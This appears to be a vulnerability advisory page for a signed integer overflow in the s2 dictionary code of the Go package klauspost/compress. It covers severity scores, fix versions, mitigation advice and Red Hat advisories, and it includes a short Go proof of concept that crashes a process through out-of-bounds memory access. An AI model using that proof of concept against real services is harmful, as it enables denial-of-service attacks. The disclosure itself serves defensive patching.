CVE-2026-63209 is a high-severity (CVSS 7.5) CWE-190 vulnerability in github.com/klauspost/compress. A fix is available for github.com/klauspost/compress — see the affected versions and patch details below.
Integer Overflow or Wraparound and Out-of-bounds Write in compress
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-63209.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-63209 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/klauspost/compressReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Signed Integer Overflow in s2.NewDict
Summary
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
Package
- Name:
github.com/klauspost/compress/s2 - Ecosystem: Go
- Affected versions: <= v1.18.6 (all versions with
NewDictfunction)
Severity
High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerability
Type
- CWE-190: Integer Overflow or Wraparound
- CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description
The NewDict() function reads a uvarint from dictionary data and converts it to int:
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
return nil
}
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
func Load32[I Indexer](b []byte, i I) uint32 {
return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
package main
import (
"encoding/binary"
"fmt"
"github.com/klauspost/compress/s2"
)
func main() {
var dictData []byte
buf := make([]byte, binary.MaxVarintLen64)
n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
dictData = append(dictData, buf[:n]...)
dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData)
// dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64)
for i := range src { src[i] = byte(i) }
dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
Impact
- Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector
Any application that:
- Accepts user-supplied S2 dictionary data via
s2.NewDict() - Calls
Dict.Encode()on any data ≥32 bytes
Suggested Fix
Validate the uvarint value before converting to int:
if r > math.MaxInt64 {
return nil
}
d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
References
- Source:
s2/dict.golines 59-61 (vulnerability),s2/encode_all.goline 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)
Credits
Christopher Linke / https://github.com/celinke97/
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/klauspost/compress | all versions | 1.18.7go get github.com/klauspost/compress@v1.18.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/klauspost/compress, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/klauspost/compress to 1.18.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-63209 is resolved across your whole dependency graph.
Workarounds
Constrain what reaches the vulnerable code: limit the size and shape of untrusted input, isolate the affected component in a sandboxed or least-privileged process, and enable the platform's memory-safety mitigations (ASLR, stack protector, hardened allocator) so an out-of-bounds access is more likely to fail closed than to be exploitable.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Red Hat has rated this vulnerability as having an impact of Important because an unauthenticated remote attacker could trigger a denial of service by causing a process crash without requiring elevated permissions. In Red Hat environments where this Go library is embedded, exploitation requires that an application…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-63209 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Logging Subsystem for Red Hat OpenShift 6.0 | openshift-logging/logging-loki-rhel9:1791500729 | RHSA-2026:83013 |
| Red Hat Advanced Cluster Management for Kubernetes 2.16 | rhacm2/lighthouse-coredns-rhel9:1790670231 | RHSA-2026:85227 |
| Red Hat Hardened Images | nats-server2-12-main-2.12.15-0.1.hum1 | RHSA-2026:54413 |
| Red Hat Hardened Images | k6v1-main-1.8.1-0.1.hum1 | RHSA-2026:54419 |
| Red Hat Hardened Images | rekor-main-1.5.4-0.1.hum1 | RHSA-2026:58472 |
| Red Hat Hardened Images | nats-server2-14-main-2.14.7-0.1.hum1 | RHSA-2026:68256 |
| Red Hat Hardened Images | opentelemetry-collector-main-0.161.0-0.1.hum1 | RHSA-2026:68272 |
| Red Hat Hardened Images | opentelemetry-collector-contrib-main-0.161.0-0.1.hum1 | RHSA-2026:68290 |
Frequently Asked Questions
Is CVE-2026-63209 in your dependencies?
Find it across Go, including transitive dependencies.